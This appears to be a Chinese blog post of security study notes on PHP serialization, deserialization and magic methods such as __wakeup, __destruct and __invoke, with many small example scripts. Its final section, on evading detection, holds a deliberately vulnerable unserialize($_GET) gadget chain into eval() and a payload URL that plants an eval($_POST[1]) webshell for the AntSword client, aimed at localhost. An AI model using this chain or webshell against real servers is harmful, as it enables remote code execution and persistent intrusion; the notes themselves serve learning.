护网笔记(十一)--反序列化

本部分碍于本人相关基础薄弱,暂只能做简单的记录,更详细的讲解和复现练习之后会补充。

反序列化

序列化

序列化是将对象状态转换为可保持或可传输的格式的过程。
与序列化相对的是反序列化,它将流转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。

序列化:

对象===>字符串

反序列化:

字符串===>对象

为什么会有反序列化这个东西呢?

方便在网络中进行传输

反序列化时需要依赖之前声明的类

序列化解决了什么问题?

1、以某种存储形式使自定义对象持久化;

2、将对象从一个地方传递到另一个地方。

3、使程序更具维护性。

序列化原理

<?php

class A
{
    // 声明属性
    public $public_prop;
    protected $prot_prop;
    private $priv_prop;
    //声明方法
    public function __construct($public_prop, $prot_prop, $priv_prop)
    {
        $this->priv_prop=$priv_prop;
        $this->public_prop=$public_prop;
        $this->prot_prop=$prot_prop;
    }
}

$a_obj = new A("public","protectrd","private");
var_dump($a_obj);
?>

那我现在想要把刚刚定义的类传到unserialize.php里该怎么传呢?

echo urlencode(serialize($a_obj));
O:1:"A":3:{s:11:"public_prop";s:6:"public";s:12:"*prot_prop";s:9:"protectrd";s:12:"Apriv_prop";s:7:"private";}

生成的序列化字符串

O%3A1%3A%22A%22%3A3%3A%7Bs%3A11%3A%22public_prop%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00prot_prop%22%3Bs%3A9%3A%22protectrd%22%3Bs%3A12%3A%22%00A%00priv_prop%22%3Bs%3A7%3A%22private%22%3B%7D

在这里插入图片描述
图片来源:
https://www.cnblogs.com/upstream-yu/p/15191503.html

反序列化生成的对象,不依赖于原有的构造方法,只会依赖我们构造的字符串。
反序列化有且只能控制属性,我们只能控制生成的对象的属性的值,不能控制调用的方法

三大属性的序列化表示方法

<?php
	class A{
	public $name;
	}
	$a_obj = new A();
	echo serialize($a_obj)."<br>";
?>

O:1:"A":1:{s:4:"name";N;}

<?php

class A
{
    public $name;
}

$a_obj = new A();
$a_obj->name = 'haha';
echo serialize($a_obj) . "<br>";

下面是字母代表的类型

a - array数组

b - boolean布尔型

d - double双精度型

i- integer

O -common object 一般对象

O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}

//O代表对象
//6 表示类名字长度
//3 表示有3个属性

//注意不同类型,对应序列化字符串
private $name;          s:12:"Personname";
protected $age;         s:6:"* age";
public $address;        s:7:"address";
<?php
class Person{
    public $name;
    public $age;
    public $address;

    public function __construct($name, $age, $address)
    {
        $this->name = $name;
        $this->age = $age;
        $this->address = $address;
    }
    
    public function sayName(){
        echo $this->name;
    }
    public function sayAge(){
        echo $this->age;
    }
    
    public function sayAddress(){
        echo $this->address;
    }

}

$persion1 = new Person('haha',18,'beijing');
echo serialize($persion1);




//echo urlencode(serialize($persion1)); //序列化之后,对序列化字符串进行url编码,
//就是为了处理这个%00问题

//$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D";

//反序列化
//$obj = unserialize(urldecode($str));  //unserialize()函数 反序列化函数
//echo '<br>';
//$obj->sayAddress();

?>
public 属性 直接无需修改
protected 属性 %00*%00属性名
private 属性  %00类名%00属性名

我们可以通过序列化生成的字符串判断使用的属性

注意:

PHP序列化的时候 private 和protected 变量会引入不可见字符%00,%00类名%00属性名为private

%00*%00属性名为protected,注意这两个%00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是ur编码后就可以看得清楚

//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}


//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D

魔术方法

PHP中把以两个下划线_ _开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__serialize(), __unserialize(), __toString()__invoke()__set_state()__clone()__debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能.

本部分可参考官方解释和相关博客;
官网:
https://www.php.net/manual/zh/language.oop5.magic.php
博客推荐:
https://www.php.cn/php-weizijiaocheng-427052.html

注意: 所有的魔术方法 必须 声明为 public

魔术方法

函数 简介
__sleep serialize()函数在执行时会检查是否存在一个__sleep魔术方法,如果存在,则先调用
__wakeup unserialize()函数在执行时会检查是否存在一个__wakeup,如果存在,则先调用
__construct 构造函数,会在每次创建对象时先调用
__destruct 对象被删除,或者被显式销毁时执行

魔术方法__call

在对象中调用一个不可访问方法时,__call() 会被调用。

<?php
class Test{
    public function __call($name, $arguments)
    {
        // TODO: Implement __call() method.
        echo "now the name is ".$name."and the arguments is ".$arguments."<br/>";
    }


}


$test_obj = new Test();
$test_obj->saynem();
?>

魔术方法__callStatic()

<?php
class Test{
    public function __call($name, $arguments)
    {
        // TODO: Implement __call() method.
        echo "now the no static name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>";
    }
   // private static function  privateStaticSay(){
   //     echo "privateStaticSay is called";
   // }

    public static function __callStatic($name, $arguments)
    {
        // TODO: Implement __callStatic() method.
        echo "now the static func name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>";

    }


}


$test_obj = new Test();
//$test_obj->saynem("haha","hehe");
$test_obj::privateStaticSay("haha","hehe");

?>

魔术方法__get

读取不可访问属性的值时,__get() 会被调用。

<?php
class Test{
    //private $name;
    protected $age;
    public   $address;
    private $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo '想要获得的属性名'.$age;

    
    }
}

$test_obj = new Test('hehe',22);

echo $test_obj->weqwe;

魔术方法__set

<?php
class Test{
    private $name;
    protected $age;
    public   $address;
    public Static $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo '想要获得的属性名'.$name;
    }

    public function __set($name, $value)
    {
        // TODO: Implement __set() method.
        echo "Setting '$name' to '$value'\n";
        $this->name = $value;
    }


}

$test_obj = new Test('hehe',22);
$test_obj->name = "new name";
echo $test_obj->name;

魔术方法__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 null 被序列化,并产生一个 E_NOTICE 级别的错误

序列化时候会触发该函数

<?php
class Person{
    private $name;
    protected $age;
    public $address;

    public function __construct($name, $age, $address)
    {
        $this->name = $name;
        $this->age = $age;
        $this->address = $address;
    }

    public function sayName(){
        echo $this->name;
    }
    public function sayAge(){
        echo $this->age;
    }

    public function sayAddress(){
        echo $this->address;
    }

    public function __sleep(){
        // __sleep()魔术方法可以限制那些属性,在序列化后呈现
        return array('name');
        //return array('name','age');
        //return array('name','age','address');
    }

    public function __destruct()
    {
        echo "<br>An object is destroyed".$this->name;
    }
}

$persion1 = new Person('haha',18,'beijing');
echo serialize($persion1);

//没有限制,序列化输出
//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}

//__sleep()魔术方法限制后,序列化输出
//O:6:"Person":1:{s:12:"Personname";s:4:"haha";}
?>

魔术方法__wakeup ()

与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

反序列化时候会触发该函数

<?php
class Person{
    private $name;
    protected $age;
    public $address;

    public function __construct($name, $age, $address)
    {
        $this->name = $name;
        $this->age = $age;
        $this->address = $address;
    }

    public function sayName(){
        echo $this->name;
    }
    public function sayAge(){
        echo $this->age;
    }

    public function sayAddress(){
        echo $this->address;
    }

    public function __wakeup(){
        echo "Deserialize an object";
    }
    public function __destruct()
    {
        echo "An object is destroyed ".$this->name;
    }
}

$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D";

//反序列化
$obj = unserialize(urldecode($str));
echo '<br>';

?>

魔术方法__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

 <?php// Declare a simple class
     class TestClass{  
     public $foo;  
     public function __construct($foo)   {    
         $this->foo = $foo;  
     }  
     public function __toString() {   
         return $this->foo;  
     }
 }
$class = new TestClass('Hello');
echo $class;?> 

魔术方法__invoke()

​ 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

<?php
class Test{
    private $name;
    protected $age;
    public   $address;
    public Static $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo '想要获得的属性名'.$name;
    }

    public function __set($name, $value)
    {
        // TODO: Implement __set() method.
        echo "Setting '$name' to '$value'\n";
        $this->name = $value;
    }

    public function __invoke()
    {
        // TODO: Implement __invoke() method.
        echo 'now __invoke is has been called ';
    }


}

$test_obj = new Test('hehe',22);
$test_obj();

我们也可以在__invoke()中传递函数

<?php
class Test{
    private $name;
    protected $age;
    public   $address;
    public Static $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo '想要获得的属性名'.$name;
    }

    public function __set($name, $value)
    {
        // TODO: Implement __set() method.
        echo "Setting '$name' to '$value'\n";
        $this->name = $value;
    }

    public function __invoke($eeee)
    {
        // TODO: Implement __invoke() method.
        echo 'now __invoke is has been called '.$eeee;
    }


}

$test_obj = new Test('hehe',22);
$test_obj("hahahaaaa");

免杀

<?php
class Student
{
    var $a;
    function __construct(){
        echo "hello constructor";
    }

    function __destruct(){

        $this->a->action();
        echo 'one';
    }
}

class one
{
    var $b;
    function action(){
        eval($this->b);
    }
}

//$one_obj = new one();
//$student = new Student();
//$student->a=$one_obj;

//echo serialize($student);
//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";N;}}
unserialize($_GET['a']);

?>

使构造一句话木马,使用蚁剑连接

http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}

用安全狗对上面代码,进行扫描,观察能否免杀

构造一句话木马,使用蚁剑连接

http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}
posted @ 2022-01-15 21:06  CK_0ff  阅读(104)  评论(0编辑  收藏  举报